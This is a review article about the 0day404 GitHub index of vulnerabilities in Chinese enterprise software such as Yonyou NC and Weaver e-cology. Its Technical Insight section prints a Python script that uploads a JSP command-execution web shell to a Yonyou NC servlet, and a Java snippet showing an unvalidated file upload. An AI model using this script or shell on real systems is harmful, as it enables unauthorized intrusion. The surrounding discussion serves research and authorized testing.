Back to Articles

Inside China's Enterprise Vulnerability Knowledge Base: A Security Researcher's Guide to 0day404

[ View on GitHub ]

Inside China's Enterprise Vulnerability Knowledge Base: A Security Researcher's Guide to 0day404

Hook

While Western security researchers obsess over WordPress and Drupal vulnerabilities, entire ecosystems of Chinese enterprise software—deployed across millions of organizations—remain virtually undocumented in English-language exploit databases.

Context

The global vulnerability landscape has a blind spot. ExploitDB, NVD, and similar Western databases comprehensively catalog security issues in Apache, Microsoft, and open-source projects popular in North America and Europe. But walk into any enterprise in China, and you'll encounter a completely different software stack: 用友 (Yonyou) ERP systems, 泛微 (Weaver) e-cology OA platforms, 通达 (Tongda) office automation suites, and dozens of domestic CMS products. These systems process financial data, HR records, and confidential communications for organizations employing hundreds of millions of workers.

The 0day404/vulnerability-poc repository emerged to address this documentation gap. Chinese security researchers have been actively discovering and reporting vulnerabilities through CNVD (China National Vulnerability Database) and CNNVD, but these findings rarely propagate to international databases with sufficient technical detail. For penetration testers conducting authorized assessments, red teams simulating APT campaigns, or security auditors evaluating Chinese enterprise software, this knowledge base serves as a Rosetta Stone—connecting CNVD identifiers to CVE numbers, categorizing vulnerability types, and providing starting points for exploit research. It's not a plug-and-play exploit framework; it's an index to a parallel universe of enterprise security research.

Technical Insight

The repository's architecture is deliberately minimalist: a curated README serving as a master index, organized hierarchically by product category (CMS, OA, Web Applications), then by vendor, then by specific vulnerability. Each entry typically includes a product name, vulnerability type, CVE or CNVD identifier, and often a reference link to a detailed PoC writeup or repository.

Here's a representative entry structure from the repository:

## 用友 NC (Yonyou NC)
- 用友 NC FileReceiveServlet 文件上传漏洞
- 用友 NC NCFindWeb 目录遍历漏洞 
- 用友 NC uploadChunk 任意文件上传 CNVD-2021-30167
- 用友 NC bsh.servlet.BshServlet 远程命令执行漏洞
- 用友 NC U8 getSessionList.jsp SQL注入漏洞

The real value emerges when you understand the reference architecture. Take the Yonyou NC uploadChunk vulnerability (CNVD-2021-30167). A typical exploitation workflow looks like this:

import requests
import sys

def exploit_yonyou_upload(target_url):
    """
    Yonyou NC uploadChunk arbitrary file upload
    CNVD-2021-30167
    """
    upload_endpoint = f"{target_url}/servlet/FileReceiveServlet"
    
    # Craft malicious payload
    files = {
        'file': ('shell.jsp', 
                 '<%@ page import="java.io.*" %>\n<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>',
                 'application/octet-stream')
    }
    
    headers = {
        'User-Agent': 'Mozilla/5.0',
        'Content-Type': 'multipart/form-data'
    }
    
    try:
        response = requests.post(upload_endpoint, files=files, headers=headers, timeout=10)
        if response.status_code == 200:
            shell_path = f"{target_url}/shell.jsp"
            verify = requests.get(shell_path, timeout=5)
            return verify.status_code == 200
    except Exception as e:
        return False

The repository doesn't provide this code directly—instead, it points you to the CNVD advisory and related researcher blog posts where you'll find the technical details. This curation approach has benefits: it avoids hosting potentially illegal exploit code while maintaining plausible deniability as an educational resource.

The categorization reveals interesting patterns in Chinese enterprise software vulnerabilities. SQL injection and file upload vulnerabilities dominate OA systems, likely due to legacy code bases and rapid feature development prioritizing functionality over security. Many vulnerabilities follow predictable patterns:

// Common pattern in Chinese OA systems - insufficient input validation
public void uploadFile(HttpServletRequest request) {
    String fileName = request.getParameter("filename");
    // No validation of file extension or content type
    FileOutputStream fos = new FileOutputStream("/upload/" + fileName);
    // Write uploaded data directly
}

For security researchers, the repository's cross-referencing between CNVD and CVE identifiers is invaluable. CNVD-2021-30167 might not mean much to a Western pentester, but when you discover it corresponds to a critical RCE in Yonyou NC (which powers HR and financial systems across thousands of Chinese enterprises), the context shifts dramatically. The repository effectively translates between security ecosystems.

Another architectural insight: the focus on "0day" in the repository name is somewhat misleading. Most documented vulnerabilities are publicly disclosed with patches available. The value proposition is accessibility and organization, not exclusive zero-day intelligence. Many entries reference vulnerabilities from 2018-2022, indicating this is a historical knowledge base being continuously updated rather than a cutting-edge 0day marketplace.

Gotcha

The repository's minimalist architecture becomes a liability for practitioners seeking actionable intelligence. You're essentially getting an annotated bibliography, not a working exploit library. When you find "泛微 E-Cology WorkflowCenterTreeData SQL注入," you'll need to follow external links (often to Chinese-language blogs), reverse-engineer the vulnerability from vendor advisories, or reconstruct exploits from fragmented technical details. There's no standardized format, no verification that linked PoCs still work, and no guarantee that external resources remain accessible.

The legal and ethical considerations deserve serious attention. The repository includes a disclaimer essentially stating "educational purposes only," but possessing and using this knowledge base crosses into gray areas depending on your jurisdiction. In China, the Cybersecurity Law imposes strict penalties for unauthorized penetration testing. In the US and EU, the Computer Fraud and Abuse Act and similar statutes could apply if you use this information without explicit authorization. The repository doesn't include working exploit code, which provides some legal insulation, but the intent is clearly to facilitate vulnerability exploitation during security assessments. If your organization's legal team hasn't approved offensive security operations against the specific systems documented here, this repository is a liability, not an asset.

Verdict

Use if: You're conducting authorized penetration tests or security audits of Chinese enterprise software (Yonyou, Weaver, Tongda OA, Ruoyi, etc.) and need a starting point for vulnerability research; you're a red team operator simulating APT campaigns targeting organizations using Chinese technology stacks; you're a security researcher studying vulnerability patterns in enterprise OA systems; or you need to cross-reference CNVD identifiers with CVE numbers for threat intelligence work. Skip if: You need production-ready exploit frameworks with verified, maintained code; you're working exclusively with Western software ecosystems where ExploitDB and Metasploit provide better coverage; you lack explicit written authorization for offensive security testing; or you're uncomfortable navigating Chinese-language security research and references. This is a specialist's tool for a specific niche—invaluable in that context, irrelevant outside it.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/cybersecurity/0day404-vulnerability-poc.svg)](https://starlog.is/api/badge-click/cybersecurity/0day404-vulnerability-poc)